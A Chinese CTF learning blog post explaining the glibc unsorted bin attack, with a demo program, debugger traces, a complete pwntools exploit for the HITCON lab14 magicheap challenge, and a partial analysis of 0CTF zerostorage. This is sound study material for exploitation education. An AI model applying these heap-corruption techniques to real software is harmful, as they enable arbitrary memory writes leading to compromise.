Day4 - Unsorted Bin Attack

写着写着发现好像不过是每日新坑orz,之前的都没怎么写完,还得留着后边填坑。。。

至少先熟悉这些利用方式,后边再补充好了。。。

参考

CTF wiki

Unsorted Bin Attack 被利用的前提是控制Unsorted Bin Chunk 的 bk 指针。可以达到的效果是实现修改任意地址值为一个较大的数值。

Unsorted Bin

来源

1、当一个较大的chunk被分割为两部分的时候,如果剩下的部分大于MINSIZE,就会被放到unsorted bin中。

2、释放一个不属于fast bin的chunk,并且该chunk不和top chunk紧邻时,该chunk会被首先放到unsorted bin中。

3、当进行malloc_consolidate时,可能会把合并后的chunk放到unsorted bin中(如果不和top chunk紧邻的话)。

使用

1、unsorted bin在使用过程中,采用的顺序遍历时FIFO,即先入先出。

2、在程序malloc时,如果在fastbin。small bin中找不到对应大小的chunk,将会尝试从unsorted bin中寻找chunk。如果取出来的chunk大小刚好满足,就会直接返回给用户,否则就会把这些chunk分别插入到对应的chunk中。

原理

在_init_malloc中这么一段代码,当将一个unsorted bin取出时,会将bck->fd的位置写入本Unsorted bin的位置。

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

即如果控制了bk的值,我们就能将unsorted_chunks(av)写到任意地址。

栗子

借助sellphish的unsorted_bin_attack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$./unsorted_bin_attack 
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffc24962c78: 0

Now, we allocate first normal chunk on the heap at: 0xdc6010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f76026f6b78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffc24962c68

Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten:
0x7ffc24962c78: 0x7f76026f6b78

然后通过gdb调试看看。

在第一次分配malloc(400)之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x1a1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6021a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20e61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后分配malloc(500)防止释放的时候被合并到top chunk中。

free(p)之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x1a1,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
...
pwndbg> bins
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b78
...

此时该chunk的fd和bk都指向同样main_arena+88的位置

在修改chunk的bk指针之后,指向栈上的地址-0x10处(32位为-0x8)

1
2
3
4
5
6
7
8
9
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x1a1,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7fffffffdcc8,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

在malloc之前,栈上地址(0x7fffffffdcd8)处的值为0

1
2
3
4
5
6
7
00:0000│ rsp  0x7fffffffdcd0 —▸ 0x400890 (__libc_csu_init) ◂— push   r15
01:0008│ 0x7fffffffdcd8 ◂— 0x0
02:0010│ 0x7fffffffdce0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6023a0 ◂— 0x0
03:0018│ 0x7fffffffdce8 ◂— 0xd0c6037149080800
04:0020│ rbp 0x7fffffffdcf0 —▸ 0x400890 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffdcf8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffdd00 ◂— 0x0

malloc(400)之后,栈上的地址写入了main_arena+88的值

1
2
3
4
5
6
7
00:0000│ rsp  0x7fffffffdcd0 —▸ 0x400890 (__libc_csu_init) ◂— push   r15
01:0008│ 0x7fffffffdcd8 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6023a0 ◂— 0x0
02:0010│ 0x7fffffffdce0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6023a0 ◂— 0x0
03:0018│ 0x7fffffffdce8 ◂— 0xd0c6037149080800
04:0020│ rbp 0x7fffffffdcf0 —▸ 0x400890 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffdcf8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffdd00 ◂— 0x0

在最后一次malloc的时候,所申请的chunk大小在unsorted bin所在的范围,就去unsorted bin内查找,找到以后返回,执行以下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/* 显然,bck被修改,并不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}

/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
  • victim = unsorted_chunks(av)->bk = p
  • bck = victim->bk = p->bk = target addr - 0x10
  • unsorted_chunks(av)->bk = bck = target addr - 0x10
  • bck->fd = *(target addr - 0x10 + 0x10) = unsorted_chunks(av)

可以看出,在将unsorted bin的最后一个chunk拿出来的过程中,victim的fd并没有发挥作用,所以即使修改掉也没有关系。但是,unsorted bin链表可能就此破坏,在插入chunk时,可能会出现问题。

这样可以使得我们可以通过这,将目标地址的值改成一个比较大的值,但是这个值不受我们的控制。这个在某些时候还是很有用的,比如说:

  • 通过修改循环次数,达到多次循环
  • 通过修改heap中的的 global_max_fast来使得更大的chunk可以被视为fast bin,这样我们可以执行一些fast bin attack了。

一些例子

HITCON Training lab14 magic heap

查看一下保护

1
2
3
4
5
6
7
$ checksec magicheap 
[*] '/home/critiz/Desktop/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

程序逻辑很简单

  • 创建堆,给定堆的大小,大小没有限制,数量有限制
  • 删除堆,会清空指针
  • 修改堆,漏洞在这里,修改的大小是自己输入的,所以有堆溢出漏洞
  • 输入4869,这时比较magic的值和0x1305的大小,如果大于,那么就能获得flag。

思路就很简单,释放一个chunk到unsorted bin中,然后通过堆溢出修改该chunk的fd值为&magic

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python

from pwn import *
import sys

if len(sys.argv) == 1:
p = process('./magicheap')
else:
p = process('./magicheap')
gdb.attach(p)

def create(size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(content)
p.recvuntil('SuccessFul')

def edit(index, size, content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap : ')
p.sendline(content)
p.recvuntil('Done !')

def delete(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Done !')

def l33t():
p.recvuntil('Your choice :')
p.sendline('4869')

create(32, 'a')
create(400,'a')
create(500,'a')

tar_addr = 0x6020C0

delete(1)

payload = 'a'*32 + p64(32+16) + p64(400+16+1) + p64(0x0) + p64(tar_addr - 0x10)
edit(0,len(payload),payload)

create(400,'a')

l33t()

p.interactive()

2016 0CTF zerostorange

看看保护

1
2
3
4
5
6
7
8
$ checksec zerostorage 
[*] '/home/critiz/Desktop/zerostorage'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

嗯,看来保护都开了23333

分析一下功能,主要有插入、修改、合并、删除、展示和列举:

  • 插入,如果不到32个记录,那就再插入一个记录,记录的格式是这样

    1
    2
    3
    4
    5
    struct record{
    QWORD flag; //当前记录是否被占用(1-被占用,0-为占用)
    QWORD size; //保存当前记录的大小
    QWORD ptr; //指向记录的指针
    }

    malloc分配的大小限制再128-4096的范围内,但是size保存的是输入的大小

  • 修改,根据index和输入的大小判断是否重新分配一块内存保存新的内容

  • 合并,合并两个记录到新的记录上去,删掉原来两个记录,并清零指针,但是chunk2的没有被释放,并且没有检查两个index是否相同
  • 删除,删除记录,并且清零指针
  • 展示,根据index展示记录内容
  • 列举,列举每个有效记录的序号和大小